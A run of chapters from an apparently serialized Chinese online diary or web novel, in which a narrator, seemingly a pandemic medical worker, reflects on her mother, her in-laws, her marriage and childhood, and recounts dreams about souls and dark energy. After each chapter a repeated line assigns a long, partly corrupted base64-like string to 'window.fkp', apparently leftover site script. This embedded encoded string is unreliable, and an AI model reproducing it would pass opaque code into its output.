    那段时间我做什么都是错的。看她做事，看到了有错的地方，告诉她然后她不改，还说我怎么那么多事。以为自己更大。然后后面我就看到了我就不告诉她。她错了以后就说你读书也没有什么用哇。后面是，不看了随她自己，就静静的吃饭。她又跑的来说哎呀女儿啊，你是不是在生我的闷气啊。不停的讲，只要我不讲话，就不停的讲。
    而和她在一起我就感觉很压抑。就像很多普通的人看到了人家有错误的地方，就算告诉他们也是很好的语气，个人感觉不算糟糕。但是我面对妈妈好像很糟糕。
    这件事反省是吧！按理来说应该有错误会虚心接受的，但是不知道妈妈不会，后面工作了以后我也不会虚心接受他人的工作意见。我有一种很压抑的感觉，我怀疑我是我妈妈同化了，心里最深处想和她一模一样，那样子她就不会孤独的一个人。
    我们有家，她不在家里的时候，我们整个家的气氛都还行，她回来了以后就是另外一个样子，好像很平和睿智的爷爷会变得满目狰狞的感觉，好像就要逼着她干活。洗碗，挖土，还有爷爷叫我们叫她回家吃饭，她不愿意守时。该吃饭的时候不愿意回来吃饭。等我们吃好了她才回家吃。而且妈妈那个样子，好像脑子里有黑色的东西待在她身后的感觉。所以好累。这是我印象里的她。这样子的她感觉很像奶奶，奶奶年轻时也是这样子，做事很发狠。每天爷爷都和奶奶吵架。就是因为奶奶做事到了该吃饭的时候不回家吃饭，一定要干完。但是妈妈的后面好黑。奶奶说妈妈做事好慢。爸爸做事也慢，干农活。但是这个也不知道是不是奶奶心理投射，她做事很快。可能她心理认为自己慢，所以要快，要快，投射出去了，其他人都是干活慢。不晓得。
    我家婆的话，我家公讲过她怀孕很大的肚子也在家里干活，干农活很扎实。反正我也不知道我家公讲这个事是好的话还是不好的话。其实农村就是这个样子，我妈妈也差不多。姑姑说她们怀孕的时候可惨了，经常吐了个没停，但是我妈妈不会吐，她还要干很多农活。很重的东西。所以她很佩服我妈妈。经常会和爷爷奶奶说要对我妈妈好一点。
    但是她说话得那个样子在我眼里不是很好看。话是对的，但是她那个场景就是姑姑的样子不算好看。也不知道是不是她一样经历了很辛苦的事。还是说的假话。因为我家婆也是这样子的人，她表面上去病房和自己哥哥说话，会说一大堆对哥哥好的话，后面回到了家里就会和家里人讲哥哥有多蠢。我就那样子呆呆的看着他们。我不知道我以后会不会这样子。我觉得会吧！笑笑别人也可以把自己的福分好好分享给他，对不对？我是这样子理解这个事的。这样子想一想我就心境平和。不然我要怎么想呢？
    想我姑姑可能那个时候其实她内心在笑我妈妈过的惨，她在说假话，内心不是这样子想的，可能还会耻高气扬的说妈妈老可怜蛋了，但是面子上要装自己宽宏大度啥的，那样子不就形容她是一个坏的角色了吗？就意味着我是个好的角色？大人的事小孩子不判断。然后就气的不行？有意思吗？有价值吗？没有任何价值？
    家婆也是这样子看待。不然怎么看待。人就是这样子，后来家公也摔到了手，住院，我也摔到了，可能我们家的福分分享出去了，自己也不够用了，我就只能这样子想啊！不然我们看到病人，表面上同情，回到家以后幸灾乐祸的样子，我要怎么去理解？
    我真的有时无法理解这个复杂的世界。也许是因为我的评判心在。有善就一定有恶。因为我需要保持自己的善良，就会看到很多恶的东西，把自己放在一个可以让我感觉让我看到自己是善的那一面，哪怕那一面让我万劫不复，而且没有什么价值，也会喜欢待在那个角色里面。这就是对人生意义的追求，可能以旁观者看自己的行为处事就是很糟糕，但是以自己这个面来看就是必须这么干，只能这么干。
    这样子做选择才能让自己感觉到人生的意义所在，有价值。
    好像能够理解为什么说有了房贷车贷，有了家，就能感觉到世界一切都是美好的。
    就像有人闯红灯，在遵守规则的人眼里，我们就是看到了老鼠屎，有闯红灯的，如果以全面来看，也有的可能要急着送病人，家里人有事啊等等之类的，那就会感觉不那么恶心了。世界瞬间美好了很多。
    我还有是非观念，还有评判心，可能就是因为我没有房贷车贷，所以不那么美好。
    对于我家婆也是。对于我妈妈也是。这两个让我感觉能够影响我人生命运的可怕的女人，我不能够用美好的眼睛和心灵去看待他们，可能就是因为我没有房贷车贷。
    我觉得是，家婆她又不是亲生了你，要求那么高，人家帮你带娃，还不收钱，请保姆还要收钱对吧！本身就是个穷鬼，还要求那么多。又不是富二代，又不是家里有矿，真心，真心能够给自己带来利益，自然会用真心，没办法用真心的时候，假装一下糊弄过去也挺好的。人家家里都是这样子，为什么你就要搞特殊？生活是一门政治学，政治方向错了满盘皆输。
    我觉得我评判心太多了。我认为家婆过的不好，因为家公老公有的时候就像一个大爷一样，不帮忙做事。一开始我会很心疼家婆，因为她的样子会是我的未来，书上讲的，我也不懂，看不懂什么道理。如果家里面有很多事都是女主人一个人干，那么说明这个家里面的不好。怎么不好，人家没有明着写，我也不晓得，后面老公就是大爷，家公大爷，弟弟大爷。看着一群大爷。然后就开始作妖要他们做事。可能惹怒了这群大爷，把我的情绪给收了，总之，看到大爷的样子不爽。如果以后我和老公老了，他也会是大爷的样子吗？会，一定会。他下班了一直都是躺椅子上，说上班好累，需要这样子休息。我偶尔也会这样子，如果我在临床上班，我几乎天天都是大爷的样子，除了躺床上玩手机放松，我什么也不想干。单身一个人的时候，饭都不想吃，就这样子躺着，看小说一整天，那个是休息，就这样子，躺着，不动不吃东西，第二天就还会吃早餐上班。所以身体很差，饮食不规律，但是这就是这种状态，很多人都和我一样，我们医务人员。
    上这个学以前，会以为医务人员的人生会像古籍里面一样，生活是非常美好的，精通养生之道，很像一群老头子老婆子，会过着养生的生活，等入了这个门，学的内容，后面工作的内容，就让人感觉到了反差。感觉就像自己在透支自己的能量自己的健康去换钱一样。等我们老了可能会有一堆的毛病，这都是必然会出现的。
    躲不掉，一开始这是以为这是我们医务人员的行业有问题，后面发现了996才大开眼界，原来所有的都有问题。
    我没有理解我妈妈，我也没有理解我家婆。我也不知道我的未来会是我家婆这样子的，还是我妈妈这样子的。
    我只想买衣服。
    有情饮水饱，没有情我就多买几件衣服暖暖身子。有人夸奖是一件很美好的事，没有人夸奖我就自己夸自己。我认可我自己。我还是喜欢快递，快递就像自己给自己买的礼物一样，收到礼物总是快乐的，要么花钱送别人礼物，收别人礼物，有朋友的话，可以这样子一来一往，有感情的传递，我没有的话，我就是自己的朋友。毕竟如果人家送了东西很贵，我囊中羞涩买同等价值的东西会打肿脸充胖子，死要面子活受罪，买更差的，估计以后会没有朋友，这世界上抠搜到我这种的人，应该不少，但是抠搜到能够同频率的人应该很少。所以买快递就是好的，就是给自己的一份礼物的感觉。
    买衣服就是好的，美好的衣服代表了我对生活的向往。我又不是没有粗布麻衣。我又不是穿的不节约。但是我就是喜欢。喜欢不可以吗？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第315章

    梦到了将军公园和我家有两个果园，然后梦里面要去那里摘橘子。梦境里老公过来了他说要帮我摘橘子。然后画了位置给我。讲什么方位。
    然后另一个梦境。梦境里面是我们工作区域。梦境里是我们这群穿防护服的人，那个梦境有点子复杂，梦见了一个奇怪的能量在笑，像病娇一样的女孩。然后在走廊里跑来跑去的。反正她笑容很奇怪。然后梦境里我在哪一个点醒了，然后出来了一下，四点多吧！后面又进入了那个梦境，梦里面其他人入了这个梦，病娇一样的能量很强大的感觉，然后梦见了其他人在那个梦境里出来了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第316章

    看了一篇一个青春期女孩子喜欢老师的故事然后老师为了保护她，然后就和老婆一起扮演了，粗鲁的男人。还要老婆洗臭袜子的事，后面青春期的女同学就专心学习，然后考上了重点，还有了自己的家庭，再次遇见老师礼貌问好的事。
    牛皮。不过我好像没有这样子的经历。但是让我想到了一个事
    一个计算机老师，那个时候我也好小。他看起来十八九岁的样子。电脑技术很好，大概0几年的样子。姑姑花钱送我去学，然后我没认真，光在教室里玩，因为我英语不会，根本没有学过，然后懵里懵懂的，然后老师教不下去了，我也不知道学习这个的好处，要么就用来玩一下子什么，感觉就是灵智未开，就算拥有了很好的东西事物都没有办法把握住，然后就是那个老师好好看好帅，有段时间天天都盯着他，只要他从楼下过，就往他头上吐口水。然后他就天天洗头。他没有当时讲我，好像跟姑姑讲了，好丢人。听说气的不行。后面怎么讲，还是往他头上吐口水。搞得很无奈，后面有一个男孩子，跟我差不多大，就一个劲的骂人，什么粗俗，没礼貌，不好好学习，骂了几句，后面就没有往那个老师头上吐口水了，但是后面好像有点子生气，对那个男孩子，因为他学习还挺好的，听说在哪一个学校是个学霸。然后好生气，后面就更努力学习去了，咽不下这口气啊！后面好久好久都没有办法平静，然后就一直努力去学东西。
    其实人家也忘了吧！
    其实我不是很差，我在小学学习还可以，数学很强，语文更差一点。及格的样子。后面被他气了一次之后，语文好像更好了。后面两个人也没有什么交集。
    很多满满的气愤，可能是不好意思吧！意识到了这样子不好，毕竟干这种事的时候当熊孩子的时候并不是很懂，为什么要在计算机老师头上吐口水，我也不记得了。只知道他挺好看的，板寸头也好看，然后就往他头上吐了好几天的口水。因此我的名誉也很差。然后被点醒了。
    我感觉应该是感恩的情绪对待那个男孩子。要是我碰到了这样子的女孩子，我会跑的去骂她一顿吗？可能不会，因为我害怕人家讨厌我，又不关我什么事。但是人家碰到了就骂了你一顿。对吧！后面因为那种气愤，而想要好好学习。但是我本来就是好学生啊！那种很强烈的怨恨，对别人家孩子的怨恨很多，而我搞不懂，因为我也是别人家的孩子。别人家的孩子就不能当熊孩子吗？不会啊！困扰了一段时间。
    后面就抛之脑后了。毕竟不是很理解。
    因为我学习的动力很少。几乎学了一段时间，很好了，达到了某一个成绩，我就变得懒懒散散了。没有动力了，就想出去玩，玩了一段时间，又觉得需要学习了，后面就不玩就去学习，就那样子。没有感觉到很强烈的快乐，也没有感觉到很强烈的厌烦。我家里人没有因为学习成绩而批评过我，学的好，也就浅浅的说说一句，学的差也不会骂怎么子。无所谓。像同龄人怕自己学的不好会被批评没有这种想法。
    反正也就是不上不下的样子。
    我可能真的是废物的状态吧！因为我并没有对什么事物产生过强烈的热爱。这个认知会让我感觉很难过。但是就是这样子。
    达则兼济天下，穷则独善其身。我又不是发达的人，我想那么多干什么？寒门出贵子。而我这种人连门都没有，需要操心那么多吗？这点子精神用来好好过好自己的短暂的一生不就行了。
    不用操那么多心，虽然国家兴亡，匹夫有责，但是这不是现在这个状态。可以用这个语句。
    其他地方都放开了新冠，我们也不知道这样子好不好，如果人家那里的效果更好，那么可能我们这边也会跟着吧！因为这样子持续下去，财政需要花很多钱，明年也不一定就会国泰民安，可能也会有天灾人祸。需要很多钱去支出。可是谁也不知道怎么样才是最好的？也许这个放开是错误的选择呢？不一定对不对？也许这是对的选择呢？也不一定对不对？
    就像那个小说异世界见闻录里讲的一样，每个星球都有容错率。就像精灵国家那样子，他们的人很好。条件很好，品行很好，但是灾难就是来了，不可抗力的因素就是来了，你能怎么办？只能做自己最力所能及的打算了。该干嘛干嘛。
    你知道方向在哪里吗？不知道。可能我们需要学中医，用中医的方式去应对，疾病。可能我们会死掉，大家一起挂。就像莫蒂和他外公的故事里一样，有很多平行宇宙，我们呆在了一个奇怪的平行宇宙。因为疾病而消失了。这很让人难受。也许有转机。谁知道呢？
    所以好好把握当下。
    有的事真的很复杂。我真的是很讨厌很讨厌。但是我不知道怎么处理我的情绪。
    烦躁死了。只能看看小说转移注意力。如果有一天会重来，我绝对不会去上去送死。
    算了人生总是充满遗憾的。有一天可能会想从来没有来过，羁绊就是那么奇怪。我们能怎么办？
    我昨天玩了海王修仙记。我没有去当海王，然后死了。死的真快，难道过关必须当海王吗？不晓得。后来我就卸载了，这个死法真的太快了。猝不及防我就死了。而且还是被需要攻略的对象杀死的。好奇怪啊。可惜没有同名小说。我需要看一下这个小说压压惊。看别人的玩法是很优秀的。光修仙就修到了八十九年。然后合体期。而且还有一堆的大佬宠着。还能怀自己的孩子。而我玩的修仙十几年就挂了。英年早逝啊！那个妖修一下子就杀掉了自己。真的是没有快乐的感觉，满满都是郁闷。不过我没有花钱买花，她们玩的不止心思很好，而且还充了钱。人家工作肯定也很好，闲暇时间玩一下花点小钱找乐子。我的话还是算了舍不得。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第317章

    大晚上的睡不着啊！好困。最近好冷，然后看到了某个房间有雨衣，然后就拿了一件穿，毕竟雨衣好长更保暖。然后到了凌晨公安工作人员要送人好冷，看了群消息才知道雨衣是他们的，然后马上就还回去了。
    真希望我老公可以给我送衣服来。冬天真的好冷。羽绒服又舍不得带过来，因为一件好贵，万一有什么事，几百就没了，晚上心怀羡慕的看了穿羽绒服的同事，我感觉还是我重要，衣服就是拿来穿的，我快要冷死了，我需要羽绒服外套。
    突然想到了很不爽的事，就是好久了，告诉家婆可以办电子医保卡，然后家婆家公都用那种很讨厌的语气说他们不办，办到来没有意思。然后听了他们的话后，我就没有怎么强烈推荐还是干嘛了。反正不办也没有什么关系。但是我感觉很扫兴。有几个和他们相处的瞬间都感觉很扫兴。就像人家家里讲的一样，在那个家里生活很寂静。可是她喜欢很热闹的地方，然后过的难受极了。可是也会买蛋糕，项链，等各种美好的事，可是就是不是特别的称心如意。可能生命就是有礼物的吧！有好几个瞬间我感觉很扫兴。兴致勃勃的想要做好吃的，结果来了一句难吃，然后没心情做饭了，做饺子，然后一群人一起干，天天都在人家面前说自己包的不好，不停的讲不停的讲，而且语气里充满了负能量，所以很扫兴。本来是想要省钱过日子，精打细算的生活，后面这样几次下来我就只需要刷手机就行了。反正宝宝又不需要我，她和奶奶最亲，老公家婆生的，我就是个外人一样，就算自己有出彩的的地方，他们也只会不停的打压你，没有一点子开心的感觉。然后我沉默了，就说我没有文化。今天看了科学家的故事。看了他老婆的信，如此优秀的人，也过的那么难受，所以人生的意义是什么，
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第318章

    每次我非常强烈的高清涌上来的时候，这个手机就卡给我看，以前很喜欢华为，后面选了别的牌子，以后就更喜欢华为了。我真的心情很不好耶！
    好生气。这个手机为什么用的不顺，怀疑这个手机的灵魂被什么附体了，每次情绪很激烈的时候，它就卡给我看。好烦。就像我并不是为了冲动的做某一些决定，只是想好好去宣泄内心的不满，也是一件不自由的事一样。即便只是在网络空间，即便只是在夜深人静。烦死了。
    很扫兴的感觉。那个扫兴的事，让我很难受。我们才刚认识不久的样子，后面的话。我们没有怎么做饺子了。就那样子一天天过去，然后去感觉自己的内心，发现自己就像被消耗掉了一样，然后就不开心。
    好像什么事都没有发生，日子就那么平静的过着，人也就那么活着，我好像能够理解，姑姑说过的，她离婚以后不会再和他复婚的意义。另一个姑姑，她的婚姻没有出轨。妈妈说是因为姑姑比较小气，而那个姑父比较大方，很讲义气喜欢充面子，所以很多时候都让她很难受。日子久而久之的过下去，然后就变成了很糟心，吵架打架，因为孩子做作业男女混合双打，去做客，感觉人家的生活满目疮痍。过了一两天又开始秀恩爱，这是我搞不懂的，后面我想，每个人的人生都是很特别的，也许是不好的也有美好的瞬间，或者很多东西，但是他们还是离婚了。离婚的原因是因为下大雨，姑父没有给她送伞，姑姑很想他接一下自己，后面那么大的雨，姑姑就自己一个人回家了，她上班的地方比较远。离家一两个小时的样子，在乡下。后面回去以后，就离婚了。买房了，就那样子吧！
    不知道为什么我要想起她来？她打电话诉说过自己的父母很多次。我不太懂。为什么我要想起来呢？我不知道。
    那个姑父对我们家很好，很讲义气，我妈妈生妹妹的时候他帮我们躲过去了，虽然罚了钱，但是奶奶说要记得。我没有什么太大的感觉，对于这个事，其实。只是知道这件事。奶奶说我们需要感恩。感恩也不用强迫不合适的人在一起吧！我也不知道，因为我感觉姑姑喜欢的可能并不是钱，而是心，但是她已经不相信心了。可能吧！毕竟就像我同事讲的，虽然没有荣华富贵，但是很多婚姻的美好都在一些小细节里。温柔以待的小细节里。
    不知道为什么要想起来这个事，我不想去想。
    我和我家公家婆老公老公弟弟的糟心事情我还没有理顺，我需要把我内心的负能量倒空，毕竟这些事只能像垃圾一样存在我这里，又不能变废为宝。久了影响我心情，对吧！就像肚子里的积食一样，影响我的胃口，说实话那个乡下的化积德药真的好好，我吃了那个药以后食欲很好，五块钱一包，十包一个疗程。而且用温开水就能泡开，而且没有苦的味道。不适的味道。对人家的方子感兴趣，但是我拿到来也没有什么用，而且它那个人家祖传的。肯定不给。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第319章

    梦境，梦到了一个灰色的女士的灵魂，她的样子很可怕，像恶灵。一个大脑全部黑的，只有很渺小的一点点光亮，但是感觉不到她的情绪。只看见了她的状态。
    下一个场景，就是回忆回忆到了老公的弟弟在家吃我做的蛋炒饭，然后他说我做的饭难吃。家公叫他不要这样子讲，然后他就像中邪了一样，还是讲了一个没停。梦见了我老公也这样子讲。一开始的时候，然后梦里面就回到了厨房，对老公的弟弟说他骗婚。梦里的那个样子的我，很狰狞的样子，纹路特别多，很难受的红色灵魂。像红鸾星的灵魂。那个场景里老公的弟弟逃跑了，他拿我老公的灵魂顶上去了，然后就是我老公脑袋难受的状态。
    然后梦到了下一个场景，很小的时候，我爷爷抱着我。后面爷爷没有了光芒，我就像白色的一点点没有意识的灵魂一样，好像感觉到了很深的恶念。然后就是回忆到了很小的时候，我还在学走路，从爷爷的胯下钻过去，那个时候感觉那个灵魂里待着一个很奇怪的笑容的声音，很奇怪的笑声，然后我的意识好像脱离了，看着一个红色的小孩子的灵魂很难受的样子。爷爷的表意识并没有说话，也没有笑。不知道这是什么，后面梦到了现在的爷爷，他的灵魂光芒很微弱。然后梦到了初中，回忆里，爷爷叫我爸爸来接我回家，然后我爸爸没办法来，那个场景就像我爸爸来接我，但是被很多的黑色的能量给踢走了。然后那个场景里自己骑车走，但是我拖不动那么强大的怨气。后面我爷爷来了，问我爸爸为什么没有来，他都叫了他。我没有回答，现实空间世界，他确实没来。但是好像我也不怨恨我爸爸。然后下一个场景，还是初中，那个场景里的我在笑，爷爷到学校里给我送东西吧！不记得什么事了，他的嘴角挂着笑容，但是其实看他的灵魂，他的灵魂一直在讲其实他在破坏我的姻缘。在内心里的灵魂在笑，灰色的笼罩着他。而我也知道，但是我仍然只是笑挂着很多的奇怪的感觉，很多东西我感觉我不太懂，那个时候的那个场景，好像有很强烈的愤怒围着我身边，但是我总是懵懂的应对它。后来看了妖猫传，懂了那种杨贵妃的无奈感。那种笑容，别人解说的，自己去看，只能看不懂。意思就是自己的老公想杀了自己，但是假死其实是真死。编造了一个借口。她知道这是借口，笑着把它当真了。很多时候看山是山看山不是山，看山还是山，就是这个意思吧！
    看的开，就是表面意思，大家都很喜欢你，关心你，你可以选择顾全大局让家里人不那么累，自己可以不那么自私。看不开就是家里人其实都没有把你当回事，就算很努力的学习，其实对于他们来讲就是你为你自己而学习，为你自己而活，为自己的选择买单，付款。他们那个时候很想你初中毕业就嫁出去，奈何太优秀了，拖的晚。那个时候自己感觉到了，也懂那种打算，但是就是表现的懵里懵懂混过去了。再看的开就是表面那个意思。
    很多东西家里人给不了你，需要自己给自己，如果只有一味地抱怨，那肯定会满盘皆输。现在抱怨很多，以后会抱怨很多，抱怨的人，是因为很小的时候很饿没有吃饱，然后就会变得怨气满满。而这个和很小时候有关。怎么看都是天意，家里穷没办法。不管是妈妈还是自己都那样子。还有的抱怨就是自己没有行动力，有很多人碰到了一样的难题还有处境，他们不会在原地被动的等待着别人的救援，而是会自己行动，把问题想办法解决。
    而我的样子不是这个样子，所以家庭教育有问题，但是也没有办法，我们在很难受的阶段，有客观原因在。那个小时候钻跨学走路的场景，后面在我弟弟身上也看到了，不过我不理解为什么他会笑，然后还说你很听话，也就是说你为什么那么听话？但是他那个时候并没有说话，是说我比较容易臣服于权威没有独立思考的意思，还是什么，不懂。男权对女权的压制？反正我看不懂那个灵魂为什么钻爷爷的身体里？然后就是带着那种笑容。然后想到了法治的内容一个女孩子她很容易碰到心怀不好的意识的男的，就像吸收渣男的体质。而且是比较好色型，看了心理书籍就是童年时期爸爸妈妈这种可以构建安全感的存在基本上都缺失了。
    那个灵魂很奇怪，像一个黑色的恶魔一样，梦里一个白色的男孩子在抱着这个恶魔一样的女孩子，那个梦境里全都是那种诡异的难受的梦境，也许是我黄文看多了，而构建这种文章需要消耗精神力，而消耗掉的会是另一个世界的自己？或许吧！也或者不是。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第320章

    我的手机如果我要写我老公这边的事，它就开始作妖，写不出来，如果写我娘家这边，就写的很顺畅，这个机子怀疑灵魂就被入侵了。
    上次回老公家，家公和他的亲戚就在房子的周围说我有阴道炎的事。两个人就像什么鬼一样。笑着讲这个话题。然后我听到这个好生气。后面又来了一个亲戚是个女性的长辈，说我怎么还在那里上班，她这句话的意思是不希望我上班吗？我上班关她什么事？
    妇科病我感觉是因为熬夜的原因。熬夜太久了抵抗力下降了，然后就入侵了。可是我家公和老公的叔公在聊这个也太无语了吧！所以说这里好的地方就是他们的长辈没有威严，都是不靠谱的样子，也不在意你尊不尊重他，反正他们也不尊重你。
    很难受的地方还有很多，就像家公说的他希望他和家婆死了以后会有一个坟墓，在一些有灵气的地方，然后葬在那里，以后我和老公就会变得很有钱，以后帮老公的弟弟。他说那个话的时候脑子是好黑的那种，明明是他自己讲出来的话为什么还好黑呢？搞不懂他们两个，而且他们的表情也是非常不好看，很难受的那种。老公知道了说不要。
    他们说那个山可以叫老公爷爷去坑人家的山，可以去用什么方法骗到来，然后把坟墓安在那里。然后就可以运用天地之间的运气，让自己的日子过得好。说了好多次，他说的时候他的灵魂全都是黑色的，就像好多狰狞的痛苦，像很多张开来的尾巴一样灵魂空间就是一种很炸开来的感觉。
    我也不知道他为什么要告诉我这种事。奇奇怪怪的人。他说他债都没有还清，就想着去挖坟让自己死在某一个风水宝地。可能在他眼里他为了自己的孩子结婚用尽了自己全部的积蓄就当自己完成了来这个世界的使命。还好他还有第二个儿子，不知道为什么人家想死？搞不懂。
    那是我们结婚后没多久的事。当时听到没有什么情绪，因为藏起来了，太过于可怕的场景，情绪就会躲起来，反正我也不知道用什么情绪来面对，好奇葩。震惊。
    刚刚看了一篇文章，诉说自己被父母无视的感觉。做事很好，做的很好，但是自己的父母几乎从来没有去关注过自己，有了弟弟以后就恨家里。我有没有这样子的瞬间，我肯定有，我并不是一个十全十美的人，十全九美都做不到，我不想把自己描述成一个完美的人，因为久而久之你发现不完美和瑕疵就会感觉不那么平易近人。
    而完美真的很完美，又会产生距离感，不敢靠的太近，怕自己在你的面前被你身上的光芒一照就发现自己劣迹斑斑，难看和残缺的样子。
    所以我会塑造一个什么样子的我呢？
    知性以前有过，后面没有了，因为什么原因没有那种状态的？不记得了。
    突然想到了一个邻居家的姐姐她没有出嫁前，她对我说过一些事，让我感觉很变扭，因为好像是我在扮丑，而她讲这些很快乐。那个时候的她样子很难看，黑漆漆的那种灵魂，后面她因为一些搞笑的事笑了很久又恢复状态了。想到了她也读了初中，后面毕业了就去打工挣钱了。我和她提起过学业，她说她打工多年，学习上的东西全部都交还给老师了。后面不久她就嫁了。嫁了人的她一开始很快乐，然后整个人的状态还行，后面有了孩子也感觉还行。再后来，她老公不知道为什么变成了另一个样子，就是搞传销，可能是被骗进去了，然后又把老丈人骗了好多钱，还骗了那个姐姐的弟弟一起进去了。后面弄了好几年，才出来。
    我不知道为什么要想到这个。就像她说工作多年早把老师教的东西忘记了，也很正常。因为她又不干文字类的工作，语文会忘，然后数学很高深的东西人家也很难用的到，就像老师教的那样子，教你算数是因为生活日常可以用的到，等你以后出了社会，至少自己买东西会算算账，就已经很不错了。不求大富大贵只求能够照顾一家老小，也很好。我们天赋并没有什么天赋，就算有天赋在很匮乏的环境里也只能做出伤仲永的事，哪个人家的认知几乎都差不多。在差不多的环境里能够做更好一点点的选择就是很好的了。
    后面她的日子还可以吧！我也不知道，很多年没有见过了，也没有聊过。
    我想我的知性也是这么没得吧！被生活的日常琐碎一点点消磨掉香消玉损。但是值得怀念。至少她曾经在我的身体里待过，我体会过那种状态很美好的样子的样子。就算失去了，就算记忆也很难留住她，但是她来过，我知道就好。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第321章

    梦境。梦到了一辆车好像梦里面要把人转运进一个地方。好像把我转运的样子。然后梦里面出现了一群人他们和我讲话。然后下一个场景就还是叫我去将军园摘橘子。梦里面老爷爷说去将军园摘橘子吧！
    下一个场景。这个场景在前面，听说有转运人员。然后我穿好了防护服。后面说不用我，另一个老师去就可以了。然后那个场景里我明亮的灵魂变成了灰色，好多衰气。
    然后下一个场景那个场景里好像谁在和我打电话说话。我没有听懂。
    然后下一个，快醒来之后，听到了一个女孩子很伤心的说：你为什么要害我？那种伤心很强烈的情绪。是哪个人离婚了。还是被渣男骗了。还是被骗结婚了？还是被骗离婚了？还是。。。。算了这世界有，很多种可能。每一种可能都是触目惊心的痛。希望她能好受一点吧！活的开心比什么都重要。大不了就离。
    我现在的角色不是好人耶，看了一篇文，带入进去小说里居然是坏的角色。就像我是反派女配附体一样，体会不了主角的感受，体会的是反派角色的恶念。我看到了我自己的样子，真丑。然后还看到了主角的样子，主角眼里我的样子黑色的。主角是黑色的一支小孩子的笔。
    然后还有一个场景梦到了摩托车。去一个人家里做客。以前去人家家里做客。是做四轮车回的，呕吐的不行。而且饭也没有什么情绪去吃。后面我就长记性了，做二轮车去，不知道为什么那次爷爷载我回的时候，二轮车我也感觉好晕，好想吐，而且很伤心的感觉。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第322章

    梦境。前两天梦见了一个黑色的脑子说吃药对肝脏有损伤。我说没事，我这个是草药。后面的梦境里是梦到了一个楼，楼上面有一个人和我聊天。听不懂，再后面梦到了一层楼，梦里那个房间的安装看起来应该是我自己的，梦境有一个孩子和一团黑影聊天。
    听不懂。
    后面是好累好饿。吃了好多东西。
    然后就是下一个梦，今天梦见的。梦里面是一个村子，我在一个图书馆见到了一个老同学，她看起来好可爱，我给她拍了很多美美的照片。同样是奔三的年纪，她的心态很美好像个小孩子，然后我是走八十岁的路线，在黑夜里的道路上疾走。心情很好，我没有羡慕她的感觉，只有欣赏。然后路过一个地方，梦到了一个老奶奶，她说叫我给我妹妹洗一个头，她也在那个图书馆。然后我问她洗护用品多少钱。二十。然后我的我已经给了她钱，梦里我说妹妹的，我没有了纸币，可不可以微信扫码扫码给。她说可以，但是那个奶奶说我用微信转给她，她收款很慢，需要我家婆给她。然后就在图书馆遇到了我家婆。转了钱给。然后我给我妹妹洗头。
    然后我在图书馆打开了一个小格子。我对家婆说我需要修炼了，现在的我脑子里很多坏的思想。容易伤害自己和很多人。我也不知道梦里的我有没有进格子。好奇怪。
    然后下一个场景在之前的梦里好多黑色的东西。我想到了地母。我不知道我怎么想的，她没有能量了，她像整个土地的妈妈一样她没有能量去生长很美好的一切的东西。所以她发黑了，像个鬼一样。
